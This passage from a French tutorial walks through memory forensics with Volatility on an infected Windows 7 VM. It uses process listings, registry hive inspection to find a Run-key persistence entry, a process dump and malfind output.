0x85e5dc20 csrss.exe 336 328 8 368 0 0 2013-03-01 20:42:00
0x84f50110 wininit.exe 384 328 7 83 0 0 2013-03-01 20:42:00
0x85e599d8 csrss.exe 396 376 7 99 1 0 2013-03-01 20:42:00
0x85e376d0 winlogon.exe 436 376 6 137 1 0 2013-03-01 20:42:00
0x86544660 services.exe 484 384 22 212 0 0 2013-03-01 20:42:01
0x865545b0 lsass.exe 492 384 11 485 0 0 2013-03-01 20:42:01
0x8655b960 lsm.exe 500 384 10 141 0 0 2013-03-01 20:42:01
0x867b4470 svchost.exe 608 484 15 350 0 0 2013-03-01 20:42:12
0x867d3b68 VBoxService.ex 672 484 11 110 0 0 2013-03-01 20:42:12
0x867e1758 svchost.exe 724 484 10 198 0 0 2013-03-01 20:42:12
0x865e9bf8 svchost.exe 772 484 21 402 0 0 2013-03-01 20:42:12
0x86825030 svchost.exe 896 484 21 322 0 0 2013-03-01 20:42:13
0x86829458 svchost.exe 928 484 59 811 0 0 2013-03-01 20:42:13
0x86829030 audiodg.exe 984 772 5 78 0 0 2013-03-01 20:42:13
0x86850a90 svchost.exe 1068 484 15 276 0 0 2013-03-01 20:42:13
0x8685eb78 svchost.exe 1140 484 21 369 0 0 2013-03-01 20:42:14
0x8689fd40 spoolsv.exe 1296 484 15 297 0 0 2013-03-01 20:42:15
0x868b9030 svchost.exe 1324 484 22 320 0 0 2013-03-01 20:42:15
0x868d3658 armsvc.exe 1456 484 5 62 0 0 2013-03-01 20:42:15
0x868e4940 svchost.exe 1516 484 14 171 0 0 2013-03-01 20:42:15
0x8692c5e8 taskhost.exe 1692 484 10 167 1 0 2013-03-01 20:42:16
0x869c7340 userinit.exe 312 436 3 48 1 0 2013-03-01 20:42:19
0x868f0d40 dwm.exe 320 896 3 68 1 0 2013-03-01 20:42:19
0x869eb4f0 797faaaf50a012 552 340 1 48 1 0 2013-03-01 20:42:20
0x868fd488 WmiPrvSE.exe 1640 608 8 114 0 0 2013-03-01 20:42:23
[/quote]

Le processus qui nous intéresse est clairement celui-la :

[quote]0x869eb4f0 797faaaf50a012 552 340 1 48 1 0 2013-03-01 20:42:20 [/quote]

On continue l’analyse pour savoir qui a lancé notre processus :

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 pstree
[/code]

[quote]
Name Pid PPid Thds Hnds Time
————————————————– —— —— —— —— ——————–
0x84f50110:wininit.exe 384 328 7 83 2013-03-01 20:42:00
. 0x8655b960:lsm.exe 500 384 10 141 2013-03-01 20:42:01
. 0x86544660:services.exe 484 384 22 212 2013-03-01 20:42:01
.. 0x86825030:svchost.exe 896 484 21 322 2013-03-01 20:42:13
… 0x868f0d40:dwm.exe 320 896 3 68 2013-03-01 20:42:19
.. 0x868b9030:svchost.exe 1324 484 22 320 2013-03-01 20:42:15
.. 0x8689fd40:spoolsv.exe 1296 484 15 297 2013-03-01 20:42:15
.. 0x865e9bf8:svchost.exe 772 484 21 402 2013-03-01 20:42:12
… 0x86829030:audiodg.exe 984 772 5 78 2013-03-01 20:42:13
.. 0x8692c5e8:taskhost.exe 1692 484 10 167 2013-03-01 20:42:16
.. 0x86829458:svchost.exe 928 484 59 811 2013-03-01 20:42:13
.. 0x86850a90:svchost.exe 1068 484 15 276 2013-03-01 20:42:13
.. 0x868d3658:armsvc.exe 1456 484 5 62 2013-03-01 20:42:15
.. 0x867d3b68:VBoxService.ex 672 484 11 110 2013-03-01 20:42:12
.. 0x867e1758:svchost.exe 724 484 10 198 2013-03-01 20:42:12
.. 0x868e4940:svchost.exe 1516 484 14 171 2013-03-01 20:42:15
.. 0x867b4470:svchost.exe 608 484 15 350 2013-03-01 20:42:12
… 0x868fd488:WmiPrvSE.exe 1640 608 8 114 2013-03-01 20:42:23
.. 0x8685eb78:svchost.exe 1140 484 21 369 2013-03-01 20:42:14
. 0x865545b0:lsass.exe 492 384 11 485 2013-03-01 20:42:01
0x85e5dc20:csrss.exe 336 328 8 368 2013-03-01 20:42:00
0x84ecab10:System 4 0 84 488 2013-03-01 20:41:57
. 0x85ed23b0:smss.exe 264 4 4 29 2013-03-01 20:41:57
0x85e599d8:csrss.exe 396 376 7 99 2013-03-01 20:42:00
0x85e376d0:winlogon.exe 436 376 6 137 2013-03-01 20:42:00
. 0x869c7340:userinit.exe 312 436 3 48 2013-03-01 20:42:19
0x869eb4f0:797faaaf50a012 552 340 1 48 2013-03-01 20:42:20
[/quote]

On note qu’il n’a pas de père (j’ai redémarré la VM pour être sûr que l’infection fonctionnait). Le PPID 340 ne renvoie sur aucun processus en cours.

Cherchons comment est lancé le processus. Les ruches du registre sont actuellement chargées en mémoire. Mais avant de pouvoir les interroger, il faut savoir où elles sont. Pour cela, on exécute cette commande :

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 hivelist
[/code]

Ce qui donne :

[quote]
Virtual Physical Name
———- ———- —-
0x823499d0 0x81b759d0 \??\C:\Users\toto\ntuser.dat
0x8234f5e8 0x8158d5e8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x823da008 0x80f5c008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x8cc0c008 0x8a579008 [no name]
0x8cc1a360 0x8b0c5360 \REGISTRY\MACHINE\SYSTEM
0x8cc429d0 0x8a5ef9d0 \REGISTRY\MACHINE\HARDWARE
0x8ccc8008 0x88e96008 \SystemRoot\System32\Config\SECURITY
0x8cccf450 0x892ae450 \SystemRoot\System32\Config\SOFTWARE
0x8db33650 0x7cf46650 \??\C:\Users\toto\AppData\Local\Microsoft\Windows\UsrClass.dat
0x90c92008 0x8929e008 \SystemRoot\System32\Config\SAM
0x90d20550 0x897e5550 \SystemRoot\System32\Config\DEFAULT
0x974a65c8 0xd93e45c8 \Device\HarddiskVolume1\Boot\BCD
0x9ae259d0 0x74f3b9d0 \??\C:\System Volume Information\Syscache.hve
0x82973140 0x02973140 [no name]

[/quote]
Après, c’est de la recherche et la connaissance du registre qui fait le reste.

Essayons le cas le plus simple : HKLM\Software\Microsoft\Windows\CurrentVersion\Run. On utilisera l’option pintkey avec, comme option, l’adresse virtuelle (VA) du chargement de la hive et la sous-clé interrogée.

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 printkey -o 0x8cccf450 -K “Microsoft\Windows\CurrentVersion\Run”
[/code]

[quote]
Volatile Systems Volatility Framework 2.2
Legend: (S) = Stable (V) = Volatile

—————————-
Registry: User Specified
Key name: Run (S)
Last updated: 2012-10-11 13:44:21

Subkeys:

Values:
REG_SZ Adobe ARM : (S) “C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe”
REG_SZ SunJavaUpdateSched : (S) “C:\Program Files\Common Files\Java\Java Update\jusched.exe”
REG_SZ VBoxTray : (S) C:\Windows\system32\VBoxTray.exe

[/quote]

Ok loupé. Essayons dans HKCU. Notons que l’on a modifié la VA.

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 printkey -o 0x823499d0 -K “Software\Microsoft\Windows\CurrentVersion\Run”
[/code]

[quote]
Volatile Systems Volatility Framework 2.2
Legend: (S) = Stable (V) = Volatile

—————————-
Registry: User Specified
Key name: Run (S)
Last updated: 2013-03-01 20:35:43

Subkeys:

Values:
REG_SZ c:\users\toto\desktop\797faaaf50a01276a084a871e3be708773c213d8.exe : (S) c:\users\toto\desktop\797faaaf50a01276a084a871e3be708773c213d8.exe
[/quote]

On a donc trouvé son point de chargement.

Après, pour analyser plus en détail le processus cible, on peut le dumper :

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 procmemdump -D /tmp/ -p 552
[/code]

[quote]
Volatile Systems Volatility Framework 2.2
Process(V) ImageBase Name Result
———- ———- ——————– ——
0x869eb4f0 0x00400000 797faaaf50a012 OK: executable.552.exe

[/quote]

On obtient ici un binaire non-packé que l’on peut analyser (RE).

Une dernière chose que l’on peut regarder, ce sont les injections de code

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 malfind
[/code]

[quote]

Process: 797faaaf50a012 Pid: 552 Address: 0x400000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x00400000 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 MZP………….
0x00400010 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 ……..@…….
0x00400020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0x00400030 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 …………….

0x400000 4d DEC EBP
0x400001 5a POP EDX
0x400002 50 PUSH EAX
0x400003 0002 ADD [EDX], AL
0x400005 0000 ADD [EAX], AL
0x400007 000400 ADD [EAX+EAX], AL
0x40000a 0f DB 0xf
0x40000b 00ff ADD BH, BH
0x40000d ff00 INC DWORD [EAX]
0x40000f 00b800000000 ADD [EAX+0x0], BH
0x400015 0000 ADD [EAX], AL
0x400017 004000 ADD [EAX+0x0], AL
0x40001a 1a00 SBB AL, [EAX]
0x40001c 0000 ADD [EAX], AL
0x40001e 0000 ADD [EAX], AL
0x400020 0000 ADD [EAX], AL
0x400022 0000 ADD [EAX], AL
0x400024 0000 ADD [EAX], AL
0x400026 0000 ADD [EAX], AL
0x400028 0000 ADD [EAX], AL
0x40002a 0000 ADD [EAX], AL
0x40002c 0000 ADD [EAX], AL
0x40002e 0000 ADD [EAX], AL
0x400030 0000 ADD [EAX], AL
0x400032 0000 ADD [EAX], AL
0x400034 0000 ADD [EAX], AL
0x400036 0000 ADD [EAX], AL
0x400038 0000 ADD [EAX], AL
0x40003a 0000 ADD [EAX], AL
0x40003c 0001 ADD [ECX], AL
0x40003e 0000 ADD [EAX], AL
[/quote]

Voila une première analyse de malware avec Volatility.

Pour toutes questions ou remarques, vous pouvez le faire sur le forum ici